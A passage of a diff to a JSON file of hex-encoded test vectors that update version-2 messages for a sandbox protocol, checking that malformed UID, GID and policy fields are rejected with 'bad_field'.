f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-nobody", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-tool-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-above-65535", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-runtime-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-policy-unknown", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d323232323